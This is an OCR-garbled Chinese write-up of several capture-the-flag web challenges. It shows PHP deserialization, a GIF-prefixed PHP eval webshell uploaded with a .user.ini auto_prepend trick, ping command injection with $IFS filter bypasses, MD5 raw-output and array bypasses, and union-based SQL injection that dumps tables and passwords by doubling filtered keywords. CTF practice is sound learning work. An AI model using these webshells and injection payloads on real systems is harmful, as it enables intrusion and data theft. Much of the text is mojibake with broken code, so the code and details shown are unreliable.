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<section id="two" class="wrapper alt style2">
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error_reporting(9);

class Name{
private $username

private $password

public function _ construct($username, $password){
$this->username $username;

$this->password $password;

function _ wakeup(){

$this->username

function _ destruct(){

if ($this->password 100) {
echo
echo ;
echo $this->username;echo
echo ;
echo $this->password;echo
die();

}

if ($this->username
global $flag;

echo $flag;
}else{

echo

die();
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class Name

private $username = ‘nonono’

private $password = ‘yesyes'

SR #T Frindex.phpM X MRAG, Hiunserialize()&1# &R F 54k, T IFclass.php

function destruct(){
if ($this->password != 100) {
echo "</br>NO!lthacker!!l</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";

die();
}
if ($this->username === "admin') {
global $flag;
echo $flag;
else{
echo "</br>hello my friend~~ </br>sorry i can't give you the flag!";
die();

BATAT LLANIE R A username yadminit Hpassword 31008, 7 <#itiflag
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$a= new Name('admin',100);
$b= serialize($a);

var_dump($b);
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DOCTYPE html
html lang

head
meta charset
meta name content
meta http-equiv content
title>Upload Labs</title
head

body
h2>Upload Labs
form action method enctype
label for X4 </label
input type name id
input type name
form
body

html

php

$userdir . md5($_SERVER[
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
)i
file put contents($userdir .
if (isset($_POST[ 1)) {
$tmp_name = $_FILES[
$name = $_FILES[
if (!$tmp_name) {
die(
s
if (!$name) {
die( )
s
$extension substr($name, strrpos($name, ) 1);
if (preg_match( , $extension)) {
die( )§
s
if (mb_strpos(file_get contents($tmp_name), FALSE) {
die( )5
s
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die( )
s
$upload_file path = $userdir . . $name;

move_uploaded file($tmp_name, $upload file path);

echo . $userdir. 5
echo 5
var_dump(scandir($userdir));
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GIF89a? <script language="php">eval($_REQUEST[feng])</script>
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auto_prepend._file 5% auto_append_file

auto_prepend_file £ T T T & i 2% 52 14

auto_append_file 7£ T i J&s %5 0 #5014

HLBEEWR, MHATESAphpREM E—4 include() , TTBAZEPHPH INERIAT 5 —ANPHP I

HE, R84, HHRURESR PHP UAHMER, MoSBZMBIATEANMHE, WEHRZLL PHP #75 AET.
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1. #lfEuser.ini

GIF89a
auto_prepend_file=test.jpg

F "
.user.ini
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2. HfEE RS

jpg/b + webshell. php/a test. jpg

% _Ffkuser.ini
Upload Labs
MR | NS | kR,
2sr
Your dir uploads/a7020ce29340b1a8744bbbe5565a29c4
Your files :

array(4) { [0]==> string(1) "." [1]== string(2) ".." [2]== string(9) ".user.ini" [3]==> string(9) "index.php" }

BEEEAS
Upload Labs
AR | B | Aok,
123r
Your dir uploads/a7020ce29340b1a8744bbbe5565a29¢c4
Your files :

array(4) { [0]== string(1) "." [1]== string(2) ".." [2]== string(9) "index.php" [3]== string(8) "test.jpg" }
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EEED feng

Pk B 5
RASIR I UTF8 .
HEEHER PHP -
ey
® default (FH3%)
O random (T3EFE)
O baseb4 ]
2 FARiRE :
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PING

&\ =B pingfUttit

PING

CSDN @EFfE E

I H, XR—EWSENE,

PING

EIAFEEpingftthiit

PING

PING 127.8.06.1 (127.8.8.1): 56 data bytes
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1s (FEXEP: list files) : ATERKBEI/EEZFTHAE GIHEMIEERIEZXHEFHZ)
cat (FEX4&H: concatenate) : A FEE I ITENRIbREs % L.
MRIEDMEZE, WA 127.0.0.1 | 1s, RMRF —Aindexphp, BEER LHKEFR, 127.0.0.1 | 1s/

bin
dev
etc
flag
home
1ib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr

var

flag{4a457a45-al173-432f-b389-9d9845cdB2167}

RiE M Fcat, 127.0.0.1|cat /flag,
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[?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes

RILAT UL E#pingil, AEEFHFR, KIMfag.php

373993 http://3 java @ lav- CsC

O & 37399329-¢130-4219-8bd9-5c315bfe0ed6.noded.buuoj.cn:81/?ip=127.0.0.1Is

ODxiErts @5 @5 QFFtlE DEAMl @ 5&—F, /3518 (O k3 Google Chrome @ REFrE D RFrE @ 758 € 5

[?ip=

flag. php
index. php

N @EPE +

/?ip= fxck your space!

TP EET, SFT - T ARBEXENA - TR THENLESR

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9FEfETRIIFEINSH

cat<flag.txt

cat$kg
(\X20% M BFFF B AT, XEBILEN ALY 5E)

/?ip= fxck your flag!

ROflaghid e T, XEBE PSRRI E
Hiplayload: 127.0.0.1;a=g;cat$IFS$91asa. php

<{?php
$flag = “flag{8bf4dbl1-381a—4ecf-9df4-33b16a564407} *;
2>
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cat

Mipayload ip=127.0.0.1;cat$IFS$9

[BJDCTF2020]Easy MD5 1

1Rz Ens)

TT%&‘EE, tﬂfm—/[\%)\ﬁr %i/ﬁfg/ﬁ\%ﬁr %K?ﬁﬁ@ﬁy ﬁg‘_‘—FuﬁE\z%y ﬁﬂ)ﬂThlnto

B HTML (S5 IS XHR ==& B HFE WS =Hit
(] EBEL Cookie B MWW  #FEA

Content-Type: text/html; charset=UTF-8
Date: Sat, 18 Sep 2021 07:37:21 GMT

Hint: select * from ‘admin’ where password=md5($pass,true)

Server: openresty
Transfer-Encoding: chunked
X-Powered-By: PHP/7.3.13

BET—THE, mdSEH
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md5(string,raw)

=8 Jaik
string BFE. AEBITENFHS.
raw alige, HEt7OsE s ET:

* TRUE - [Ft& 16 =5 " isigzt
e FALSE - BiA. 32 =5+H-u8E

md5 (string, raw) raw A%, ERikNfalse
true : & [ 16 7 RF 23k il 4% =X
false:iR[E327RF 163k HIkE

] AR YL truekr 1Bt ImdSHE A TR T, MR —F4F 8 imd S8 17 Be B = £ 01 or * Z RIKIENIEA), BA UALBEATEANT .

PR —ANF R fFifdyop
md5J5, 276F722736c95d99e921722cf9ed621c
HERTFAEE:  'or’6

Xt FMD5($ pass,true)&eit, 78X BIREEHMTEREHA 2R/ S fifdyop.
129581926211651571912466741651878684928, T HEHBKERH, FrUAHE— .

el —
CSDN @E[E -

Do You Like MD5?

WL T XA, EFEIRG



$GET['a"];
$_GET['b'];

if($a != $b & md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

XBARE R E XFHAZEab, HafbM{ERHELE, {HRaMbLiImd5MEEMS. B Nab ARAEMIT, X£RE AN md5
BB B . BFEEANFHANMASFHF L N0 FR/FH .

M playload:

?a=s155964671a&b=s214587387a

B3
?a[ ]=1a&b[ ]=2

BeEE U, HIT — B

error_reporting(0);
include "flag.php";

highlight_file(_ FILE_ );

if($_POST[ ‘paraml’]!==$ POST[ 'param2']&&md5($_POST[ 'paraml’])===md5($_POST[ 'param2'])){
echo $flag;

}

5 FHMBEARLEE—, HE#HiEpayload

paraml[]=1&param2[]=2

NS

<?php
error reporting(0) ;
include “flag. php”;

highlight_file(_ FILE_);

if ($_POST[ paraml’ ]!==$ POST[’ param?2’ ]&&md5($_POST[ paraml’ ])===md5($_POST[ param2’ 1)) {
echo $flag;
} flag{8442e293-624a-452f-a94d-7b025e937921} ol
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Try to find out source file!

AR BF 53X A — 18 X il Ay S 8, BT DA
dirsearchid#

CSDN @& L

RILTindex.php.bak, FTF G R ZMRIGH T

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET[ 'key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;

}

else {
echo "Try to find out source file!";
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phpH AN E T S RIGET

Bstrifi123 5key#f T LA, (SHHUEL: MRHE—ANEFM PR HRE LR KABTAERFRE, PRSP R
B B B IR BUER BEAT, R BB X745 8 OTT AR IR0 R E T B HE, WRZ TR B e BuE T o6, WERZEE, &
WHAE N0, BT LAE#AE Akey=12331T)

” hao123 L[ [ACTF2020 (0°v')/ Hi Cl mesE’-cs €l S¥&=-csp [ACTF2020 €l c45559) | php FeH: buuctf FE

O & 2f5f8eb7-01b1-4756-bc95-da0b56c48c7a.noded buuoj.cn:81/?key=123

DogiEmes QEE QEE QFTErE O=ERE @SE—F, FEE (kS Google Chrome @) F5rstk I 5 @ 5% B Sx=-CcOnNEx © =

ag{3a3c60dc-1e7c-42f5-8d6e-5c90fb80bccd}
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XR—EsqENE

‘UserName ‘

‘ password ‘

HERXRBERATRE T AEEAN L, BEFIRD

<{meta http-equiv="Content-Type” content="text/html; charset=utf-8" />
{title>Do you know who am I?</title>
{center>
{form action="gearch. php” method="post” style="margin-top: 3007>
{input type="text” name="name” placeholder="UserNams” required>
<{br>
{input type="password” style="margin-top: 20" name="pw” placeholder="password” required>
<{br>
<{button style="margin-top:20;” type="subnit”>&Fx<{/button>
</form>
{/center>

e eEE L
Lol (@ie

RIE ~search.php, FTHERIE —HFZH5H

<! --MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJIIBSGEWSYIJIWESSCWPINFQSTVLFLTC3CIIQYGOSTZKI2VSVZRNRFHOPJIS5 - ->

XA Rbase324mtE R, N H AR

c2VsZWNOICogZnJvbSB1c2VyIHdoZXI1IHVzZXJuYW11IDOgIyRUYW11Iw==

KEZESRBHEN, Rbaseb44mtd iy
select * from user where username = '$name’
XIRRBATE AselectiZBf), HAMAIFENZBIIERA

1' union select 1,2#

A AU i useriZ AN R —ILH =51, FEW 47 8id, username, password (£4) .
EXE, XEBWHPLZAMELSFRLE, Bt e Rk username, BusernameXt N FTA FBHEH RE, HBREE
TOREAR BRI A SR B RS 5T b, IHEAEE BE&A — A md5HnE .



BAVEFENKIBHE, RILEE S “wrong user!”, {B4EATR W Radminf /it 2 [ Ewrong pass! (B iS4E1R), 1R B EiX B 4517
fEadminiX M-S . JEF, BATH B A% _Fadminf P Ei#E 18 Bladminf #55 .

|admin |

wrong pass!

ol N e
CSDM -’-:_[J,:I It

XEAANEENMR, BRE—NMTHFLER
BER, BREAANSHEHR —MEDKHEBEE, RMOTUMAINMEDHBIEER, MEAKEEDRRERITH
search.phpii#& &
BATEH P & 5% \1" union select
1,'admin’,'202cb962ac59075b964b07152d234b70'# (202cb962ac59075b964b07152d234b70 8123 K Imd5hna &, WEH T
I THES, FTUARAMIS)RED  EHELMARNE € LHFEE123, Bagadimi, mIhEfadmink/, 83iflag.
ix BLE A FMDS5 I Rl & ZE & E HrEgithub b 1 VED

mysqli_query($con, 'SET NAMES UTF8');

$name = $ POST['name'],

Spassword = 3 _POST['pw'];

$t_pw = md5($password);

$sql = "select * from user where username = '".$name."'";

/ echo $sql,



BART/LA Mt B, A ROMEMT EHAGLE, RNLELZERA ! 1]

P LT

X —IEsqVENE, Seff R,

You have an error in yourSQL syntax; cheék the manual, that corresponds to your MariaDB server version for the right syntax to use near '1=1#' and password="1" at line 1

RUMor L T, FREATE PR, RIS THFE R8T, thillor, selectwhere, union. Fi% 2 A i $replace A ATE
W T = AERF

SITETXRE, BATMEATSY, TRIHEFR, LkHorder by RAMFRANM L, RIMNAARARSERNEMRETRELXR,
RLZFNBAKRL, TREMNMEIE

pyload: ?username=admin&password=admin’ uunionnion sselectelect 1,2%23
XERFAHTHNESRE, BENERENSRE, HIW:uniunionon, ¥ %44t iR+ — union, RIFERTH—4
union, EHGE.



., .The used SELECT/stataments have a different-number of columns

i)
A=, TRIBATG SR RS & B B 91 51 5

BH=%, REBIIFHEER: 2username=admin&password=admin’ uunionnion sselectelect

1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23



sYour p@ssvgé_{d':_is~;ib4bsql,geekuser'

-

kR, BTREBHBEFRT
?username=admin&password=admin’ uunionnion sselectelect 1,2,group_concat(column_name)ffromrom
infoorrmation_schema.columns wwherehere table_name='b4bsql' %23

br

N Hellor2NO R M
Your passwérd:istid,username, password'

| S

F=%, 4HRid, username, password, X2 KEZHsqiEAFRIIMENR. BT RBEAVAIFHBLIE

?username=admin&password=admin’ uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

RIEBAMNBlaget EIEIH CHIERT T,



Hﬁe‘lto 2N

ﬁaur péssword is*
—want_to _play,. 2077 ,sql_injection_is
éﬁéb bb5bf35daa12}

§ %ﬁ-‘:ﬂ‘

TIH8H

AR T R lag, LA KLENZE THRAT, F75!

MR X R —ESQUEARFKE, AR~ THRISHE, KL

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'L" at line 1

H LR A
SRl TETE 8

admin' order by 4#



Unknown column ‘4" in ‘order clause’

admin' order by 3#

WHH3S, R RBEIEE

o, e
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B FE 4 Ngeek
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union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

302

e P L

Ve L AR B Sl

B )5 B username LA K password

admin' union select 1,group_concat(username),group_concat(password) from lOvelysql #
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